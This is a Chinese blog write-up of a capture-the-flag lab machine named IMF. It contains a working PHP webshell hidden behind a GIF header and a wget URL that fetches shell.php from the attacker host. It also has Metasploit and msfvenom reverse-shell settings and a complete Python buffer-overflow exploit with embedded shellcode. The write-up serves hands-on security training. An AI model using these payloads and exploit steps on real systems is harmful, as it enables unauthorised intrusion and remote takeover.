IMF靶机


今天打一个靶场IMF。网络模式为NAT。

  1. arp-scan确认靶机地址为192.168.221.128

  1. nmap去扫描网站,发现其就开了80端口

  2. 打开网站,发现其 Contact Us 页面有交互,直接打开网页源码,发现flag,为base64编码

  3. 直接解码,或者用kali直接解码

  4. 继续翻看源码。发现在引用JS文件时,文件名出现了不少base64编码的形式

    image-20220810163035806

  5. 我们将其拼接在一起 ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ== 再用base64编码,发现另一个flag,再将其解码

  1. 我们访问 imfadministrator 页面,发现一个新页面,还是先查看源码,注释表明很难SQL注入

  2. 既然无法注入,只能爆破,使用的是kali自带的 cewl 工具,对于页面的英文进行自由组合形成字典,我们就对于 Contatct us 页面进行收集字典

  3. 我们在 Contatct us 页面找到了三个用户的信息,分别对其尝试,发现只有 rmichale 用户名是合法的

  4. 那么即可对其密码进行爆破,Burpsuite常规爆破所用字典为 imf.txt 的字典,但是爆破不成功

  5. 这里我们还可以猜测可能存在弱类型比较(其内部使用了 strcmp 去比较字符串,相等则返回值为0,那么我们可以让我们的密码数组为空,这样 strcmp 就报错,return 0 了),我们可以使用空数组进行绕过密码,即可得到flag3

  6. 对 flag3 进行解码

  7. 根据网上提示,此处存在SQL注入,我们用注释符,发现其有报错,直接SQLmap去跑

  8. 将BP包保存下来,直接使用 sqlmap -r “文件地址” 的方式取出库名,得到一张图片的地址,打开网站是一张二维码,扫描下来,得到flag4:{dXBsb2Fkcjk0Mi5waHA=},还是base64解码,得到另一个页面上传文件的页面

  9. 但是此上传处存在 waf 拦截,我们先在这里直接用weevely这款工具,命令格式:weevley +generate +连接密码 +路径。生成木马文件后,上传被拦截

    image-20220810175901094

  10. 那我们将 webshell 文件和图片文件写在一起 copy /b 文件1+文件2 文件3 命令,这里需要让图片的大小尽量小,木马文件中的代码尽量少(一句话木马即可)。此外我们可以在php文件首行增加gif的文件头,再改下后缀名即可

    GIF89a
    <?php $s=$_GET[s]; echo `$s`; ?>

    上传成功后,查看源码

  1. 注释就是重命名后的图片,但是图片不在imfadministrator目录下。接下来需要找到上传文件的位置。直接dir目录爆破,可见在uploads目录下,再在URL后面添加文件名,最后传参即可查看本目录下的所有文件。

  2. 发现flag5的txt文本,cat 命令查看,flag5{YWdlbnRzZXJ2aWNlcw==},解码后得到提示 agentservices

  3. 按照常规步骤,我们可以安插后门,建立一个反弹shell,通过远程代码执行的方式使用wget命令下载。首先先开启一个http服务,使用wet命令下载,使用ls,发现有一个shell.php文件了

    python -m SimpleHTTPServer 8081
    http://192.168.221.128/imfadministrator/uploads/9b65b5029215.gif?s=wget%20http://192.168.221.132:8081/shell.php

    x

  4. msf配置好连接方式,(中途关一次机,所以IP有变)。访问shell.php即可创建连接,创建之后输入shell进入shell模式。

    set PAYLOAD php/meterpreter/reverse_tcp
    set lhost 192.168.221.254
    run

  5. 我们根据flag5的提示,我们可以锁定关键词agent,使用whereis agent确定 /usr/local/bin/agent 这个目录下,但是进入agent,发现可阅读性很差。但是在同级目录下有access_codes文件,打开之后,其内容

    SYN 7482,8279,9467
  6. 看起来像是运行了knock,knock是一种安全措施,比如你要连接ssh你要先敲门(knock)要按顺序的去访问这三个端口,最后防火墙才放你,让你去连接ssh。主要是为了防止端口扫描的方式去攻击主机。先按顺序扫描这三个端口,即完成敲门。

    nmap -p7482,8279,9467 -r 192.168.221.128
  7. 我们发现新开一个端口7788,连接端口发现是运行着agent程序

  8. Shell中输入agent运行程序,或者直接nc这个端口运行agent程序 ,我这边选择还是用留的后门进入agent程序进去后需要agent ID,这里并没有,随便输入Agent ID会让程序退出。我们就需要对这个程序进行审计,看看有没有漏洞。先把里面的内容复制到本地。这里介绍一种稳定万能的方法,将agent文件编码为base64,这样可以避免乱码。然后将其解密。

    解码:

  9. 我们为了检验文件是否复制正确可以使用md5sum命令进行判断,可见完全一样

  10. 给agent赋权执行,可见与靶机运行结果一致,然后可以在kali本地分析了。

  11. 使用ltrace(跟踪进程调用库函数的情况)去查看agent,我们随便输入一个ID,发现其调用strncmp函数与合法ID进行比较,进而我们可以确认合法ID为48093572。或者直接IDA去调试

  12. 进去在主菜单的选号3,可以输入很长的内容,可能存在缓冲区溢出。然后使用edb对程序进行测试

  13. 使用edb对程序进行测试:

    edb --run agent

    运行程序后先选择3.submit report进行测试:

    运行/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024来获取1024个测试字符,然后输入字符。可见其有缓冲区溢出的漏洞

  14. 再用/usr/share/metasploit-­‐framework/tools/pattern_offset.rb -q 66413666反查,发现程序在第168个字符处溢出

  15. 再生成168个A的测试字符,发现EAX变成了一堆A,看能不能找到 ‘’’call eax’’’。但可惜不能找到。

    /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb 22:37:10nasm > call eax 00000000 FFD0 call eax
  16. 我们只能edb里搜索FFD0,找到地址 0x08048563重启程序发现地址不变,就选这个地址来作为EIP的值

  17. 首先我们为msfvenom有效负载创建一个shellcode(重新打开kali,主机IP发生了变化)

    Copymsfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.221.132 LPORT=6666 -f python -b "\x00\x0a\x0d"

  18. 编写exp(python2)其实python3也差不多

    import socket
    import time
    host = "192.168.221.128"
    port = 7788
    ret = "\x63\x85\x04\x08\n"
    buf =  ""
    buf += "\xdb\xd2\xd9\x74\x24\xf4\xba\xf5\x57\x39\x65\x5f\x31"
    buf += "\xc9\xb1\x12\x31\x57\x17\x03\x57\x17\x83\x32\x53\xdb"
    buf += "\x90\x8d\x87\xec\xb8\xbe\x74\x40\x55\x42\xf2\x87\x19"
    buf += "\x24\xc9\xc8\xc9\xf1\x61\xf7\x20\x81\xcb\x71\x42\xe9"
    buf += "\x0b\x29\x69\x6d\xe3\x28\x92\x77\xfe\xa5\x73\x37\x98"
    buf += "\xe5\x22\x64\xd6\x05\x4c\x6b\xd5\x8a\x1c\x03\x88\xa5"
    buf += "\xd3\xbb\x3c\x95\x3c\x59\xd4\x60\xa1\xcf\x75\xfa\xc7"
    buf += "\x5f\x72\x31\x87"
    buf += "A" * (168 - len(buf))
    buf += ret
    con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    con.connect((host, port))
    print "Connected"
    print con.recv(1024)
    con.send(b"48093572\n")
    print con.recv(1024)
    con.send(b"3\n")
    print con.recv(1024)
    print "Sending evil buffer..."
    con.send(buf)
    print "done"
  19. nc监听6666端口,成功连接并是root权限

  20. 找到最后一个flag(TheEnd.txt)

总的来说,这台靶机难度较大,特别是如何进行远控,对于msf和webshell的使用比较多,还有最后一步的缓冲区溢出,比较难想到,也比较难做,可能对这方面不太了解,需要不不短板。


文章作者: 小小星仔
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 小小星仔 !
评论
  目录